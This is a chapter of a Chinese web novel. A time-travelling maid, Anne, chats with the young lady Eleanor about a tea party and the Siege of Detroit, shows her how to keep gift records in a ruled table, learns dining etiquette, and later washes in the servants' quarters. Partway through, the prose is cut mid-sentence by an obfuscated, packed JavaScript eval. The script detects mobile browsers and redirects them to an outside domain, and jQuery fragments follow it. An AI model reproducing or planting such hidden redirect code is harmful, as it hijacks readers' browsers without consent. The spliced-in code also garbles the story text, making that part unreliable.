深夜的布鲁克公馆静悄悄的，只有小书房里还亮着灯。


    安妮小心地拨了拨烛芯，让光线更亮些。埃莉诺趴在桌上，笑得肩膀直抖。


    「你们……你们真该亲眼看看，」她好不容易抬起脸，眼角还闪着泪花，「布朗夫人今天下午那副尊容。」


    她猛地坐直，模仿起来：下巴高高抬起，视线傲慢地垂向下方，一只手还故作优雅地虚抚着并不存在的项链。「她用那种能甜腻的调调说：『我们家可怜的露辛达呀，真是离不开她的法国女教师了。光是发音课，一周就要上足足五次呢。』」


    埃莉诺学得惟妙惟肖，连那拿腔拿调的鼻音都模仿得十分逼真，「说这话时，她那下巴抬得呀，我真怕她一个不小心，后脑勺会直接磕到背后的壁炉架上！」


    米芙揉揉发酸的手腕，她今天整理了一整天文书，晚上又和安妮她们研读了两大章学习材料，眼皮都快撑不开了。「然后呢？玛蒂尔达夫人就在旁边听着？她没说什么吗？」


    「姑妈当时只是慢悠悠地品着茶，」埃莉诺立刻切换了角色，她挺直背脊，端起面前空了的茶杯，做出一种矜持而沉稳的姿态，嘴角勾起一丝若有若无的笑意，活脱脱就是玛蒂尔达夫人的样子。


    「等布朗夫人炫耀够了，她才放下茶杯，声音不高，却让整个茶桌都安静了下来。」埃莉诺学着她姑妈那种清晰又带着点漫不经心的口吻，「她说：『说起来，女孩儿家多学些知识总是好的。不像我们埃莉诺，最近竟迷上了历史，总缠着我问东问西。』」


    埃莉诺环视了一圈，彷佛眼前的安妮和米芙，就是茶会上那些竖着耳朵听的小姐们。


    「然后，姑妈话锋一转，像是随口一提似的，」她压低声音，模仿着那种不经意的考校口吻，「『对了，亲爱的，你前几天读到的那个……叫什么来着？哦，1812年那场几乎没怎么流血就结束的著名围城战？说给夫人们听听，我也记不清细节了。』」


    安妮把温好的茶水，倒入两人的杯中：「是底特律围城战吗？」


    「没错！」埃莉诺眼睛发亮，「米芙和你上周刚给我讲过的。」


    「当时桌上一下子安静极了，」埃莉诺回到自己的表演口吻，「那几位小姐，包括布朗夫人在内，全都像被施了定身法。有的赶紧低头摆弄裙子，有的假装被点心呛到咳嗽，眼神躲躲闪闪，没一个人接话。」


    她顿了顿，脸上露出一抹混合着得意和调侃的笑容，「然后我就把底特律围城战，布洛克将军怎么用心理战术吓唬赫尔将军，美军怎么一枪没放就向加拿大的英军投降的事儿，简单说了说。你们是没看见那些小姐们的表情，就好像我突然用希腊语背诵了一段史诗似的，又惊讶又茫然，还带着点……好像我是什么怪物的样子。」


    她拿起茶杯喝了一口水，语气变得轻松而略带自嘲：「姑妈倒是满意极了，脸上那笑容藏都藏不住。不过我看呀，今后，那几位小姐的宴会邀请名单上，我的名字怕是就要被划掉咯。」


    米芙打着哈欠站起来，收拾好文具：「我得回去了，明天还要早起替玛蒂尔达夫人写回信。」


    书房门轻轻合上，只剩下安妮和埃莉诺。小狗墨西哥不知道什么时候跑了进来，蜷在壁炉边打盹。


    埃莉诺还有点兴奋。她似想到了什么，从书桌抽屉里拿出一小叠精致的邀请函和拜帖，卡片边缘还烫着金。


    「安妮，」她将卡片在桌上摊开，语气带着点无奈，「你上次提过的那个什么’一个塞尔’法子，教教我好不好？瞧，今天又收到两张，谁家什么时候来的，送了些什么，该回什么礼，我脑子里都快成一团浆糊了。」


    她指了指旁边一个摊开的本子，上面密密麻麻地写着几行字，有些地方涂改了，「我之前就这么记的，眼看就要乱了套。」


    安妮接过本子看了看，心里立刻明白了。这种流水账式的记录，查找起来非常麻烦，极易出错。在她来的那个时代，哪怕是小学生也会用表格来清晰整理信息，这几乎是种本能。


    她取过一张崭新的白纸，又拿起一旁的尺子。


    「我们换个法子试试。」安妮将尺子按在纸上，用笔靠着边缘，画下第一条笔直的竖线。「我们可以把纸面分成几个格子。」


    她一边画一边说，「第一栏，记下客人的姓名。」画好一条后，她又移动尺子，「第二栏，写下到访的日期。」接着是第三条线，「第三栏，记下他们赠送的礼物。」最后一条线落下，「第四栏，空出来，用来备注我们需要回赠什么，或者后续要注意的事。」


    随着线条的完成，原本空白的纸张上出现了一个规整的、带有四个清晰区域的表格。安妮在顶行依次写上栏目名称，字迹远没有经过专门训练的埃莉诺或米芙漂亮，但异常工整。


    「您看，」安妮将纸转向埃莉诺，「这样是不是一眼就看清楚了？新来的邀请，就按格子填进去。需要找哪位夫人的记录时，顺着名字一列往下看，很快就能找到，不容易漏掉，也不会弄混。」


    埃莉诺俯身仔细看着那张纸。「就这么画几条线？」


    她拿起另一张纸和尺子，学着安妮的样子，小心翼翼地在纸上画着，虽然线条有些歪斜，但格子的雏形已然出现。「真是太聪明了！就这么分门别类地放好！」她脸上浮现出恍然大悟的喜悦，「这样肯定不会再像上回那样，把送给约翰逊夫人的珊瑚胸针，差点错送到怀特夫人手里了！安妮，你怎么想到的？」


    安妮微微一笑，心中闪过现代办公室里无处不在的电子表格界面，但那些画面已经如此遥远。她只是轻声说：「我们那儿都会。您多用几次，习惯了就好。」


    埃莉诺用力点头，已经开始兴致勃勃地将一张拜帖上的信息，尝试着填写进她刚刚画好的格子里去了。


    作为交换，安妮请埃莉诺教她上流社会正式的就餐礼仪。桌底下的活儿她都会，但是桌面上的活儿，她是真不会。


    「餐叉要从外往里用，」埃莉诺将学习文具当作餐具，在桌布上依次排开，指尖轻轻点着最外侧的那把蘸水笔，「这道小的用于前菜，然后是鱼叉，最里面这把才是主菜用的。」她拿起直尺，优雅地模拟着喝汤的动作，「喝汤时勺子要这样，从里向外舀，汤滴会落回碗中央，不会溅到衣服上。」


    安妮学着她的样子，手指比划着。她做得很好，但眉头却微微蹙起，轻声问道：「埃莉诺小姐，你看的那些礼仪书上，有说为什么设定这些细致的规矩吗？最初是为了让一切更优雅，还是……也是为了区分身份呢？」


    埃莉诺正准备纠正她手腕的角度，听到这话，动作顿住了。她抬起眼，有些困惑地看向安妮：「区分身份？为什么这么想？」


    「比如，」她的声音很轻，像是怕惊扰了谁，「大宅里，不同身份的人使用不同的餐具，遵守不同的礼节。这是为了维持秩序，还是无形中也划下了一道线呢？」


    书房里骤然安静下来。壁炉里的木炭偶尔爆开一点火星。


    这是埃莉诺习以为常、从未深思过的问题。她缓缓放下手中的直尺。沉默了片刻，她才开口，语气里带着一种从未有过的迟疑：「我……我从来没从这个角度想过问题。从小到大，母亲、姑妈、所有的礼仪老师都只是告诉我，这是教养，是传统，是淑女必须掌握的学问。」


    她的目光有些游离。「被你这么一问，我倒真有些说不清了。」


    「在我想象的那个未来，」安妮的声音很轻，「人们也会讲究礼仪，但那是对所有人的尊重，不是因为身份不同。」


    埃莉诺托着腮：「就像你上次说的，女人可以当医生，黑人能上学堂那样的未来吗？」


    「比那更好。甚至黑人女性都能成为总统。」安妮眼睛发亮，「人们看重的是能力，不是出身。就像埃莉诺小姐，你聪明好学，不该因为是个女孩就被限制只能学插花。当然，如果你想，你可以研究钢琴，绘画，插画，糕点，穿戴，但是如果你不想，你可以研究别的。」


    小狗墨西哥醒了，摇着尾巴凑过来。埃莉诺把它抱到膝上，轻声说：「安妮，我其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469732|184715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实也不知道自己想要什么，我过去从未清晰地思考过自己要成为什么样的人。我之前去了瓦萨学院，那里的女孩那么优秀，但他们的最高期待好像也不过是当个女子学校的老师。你所描述的内容，包括你说话时肯定的语气，有时候真让我羡慕。甚至……让我觉得害怕。呵呵。要真能活在那样的时代该多好，看看除了这些，女孩子还能做什么。」她的手指无意识地梳理着小狗的毛，「有时候我觉得，如果我们能在一代人之内创造出那样的时代就好了，虽然……不可能。」


    「是啊，时代能不能等等我们呢。」


    安妮也伸手摸了摸小狗的脑袋。


    书房里弥漫着一种难得的安宁。她觉得这是个成熟的时机。


    她说：「埃莉诺小姐，您知道吗，有时候我最羡慕的，不是书房里的书。」


    埃莉诺看着她，墨西哥也看着她。好像都在等她说下去。


    「是时间。」安妮终于说出了这个词，「我有很多想学的东西，想知道的事，想体验的东西。我甚至想去参与创造那个我梦想中的未来，哪怕一代人不够，我能让下一代人站在我的肩头，继续。可是我，每天清晨四点就要起床做活，等能稍微休息一会儿的时候，天已经黑透了，手指累得连翻书的力气都没有。」


    她注意到埃莉诺的睫毛轻轻颤动了一下。


    「那时候我就在想，如果每天能再多一个小时，哪怕只有半个小时，可以自由支配的时间，去做自己想做的事，该有多好。每个人都有自己的责任，除了做一个女仆，我是否可以承担更大的责任呢，我甚至连尝试的机会都没有。我只是......只是有时候会觉得，时间像沙子一样从指缝里流走，而我却什么都抓不住。」


    她没有提到具体的计划，没有说起那些在脑海中酝酿却尚未成形的想法。此刻，她只是单纯地描述着一个最朴素的愿望。


    她知道埃莉诺听进去了。这就够了。


    「不过现在这样也很好，」安妮笑着补充，「能像朋友一样和您聊天学习。」


    「朋友？」埃莉诺抬起头，烛光在她眼里闪烁，「安妮，我们确实是朋友。」


    墨西哥小狗跳下地，叼起安妮的围裙。两个姑娘相视一笑。


    /


    安妮回到阁楼。


    她太需要一个热水浴了。


    轻轻推开走廊尽头那扇吱呀作响的木门，一股潮湿的霉味扑面而来。这个所谓的清洗隔间狭小逼仄，墙上斑驳的水渍记录着女仆们无数个匆忙的夜晚。


    露西正弯腰就着搪瓷盆擦洗，见她进来，匆匆拧干毛巾。「安妮，快点，玛莎都快把水用完了。」她侧身挤出门时，安妮瞥见她后颈还有未擦净的皂垢。


    在大宅里，仆人们共用一盆水是常态，除非谁特别幸运能轮到第一个使用。


    硕大的陶瓷水罐只剩小半罐冷水。安妮把水倒入盆中，水面浮起细小的杂质。她解开发髻，长发披散下来沾到后颈时，明显感觉到一层薄薄的灰尘与汗腻。这让她想起下午靠近埃莉诺小姐时闻到的淡淡玫瑰精油味，以及米芙整理袖口散出的清新皂角气。


    在她们眼里，自己是个什么味道。腌入味的萝卜？


    安妮把奇怪的想法挥之脑后。看了眼摆在盆沿最便宜的那种黄色硬皂，和露西刚刚用完顺手搭在架子的毛巾，叹了口气。


    也不需要脱光全身。


    她先用硬皂在关键部位打了一遍泡沫。皮肤能感觉到皂体里的粗颗粒，碱性很强，洗完后手还会发干。然后浸湿毛巾，把泡沫擦掉，先是脖颈，接着是腋下、前胸、后背，最后是双脚。这个过程必须快，深夜严寒，冷水擦身容易着凉。擦完之后，清洗一遍毛巾，毛巾过处，水立刻变得浑浊。


    所谓的洗澡，其实就是擦浴。


    没错，安妮来到这里，还没有洗过一次真正的澡！她渴望一次真正的洗浴。


    「你还要多久？」一个同屋女仆的声音从门外传来，带着困倦的不耐。


    「马上就好。」安妮加快动作。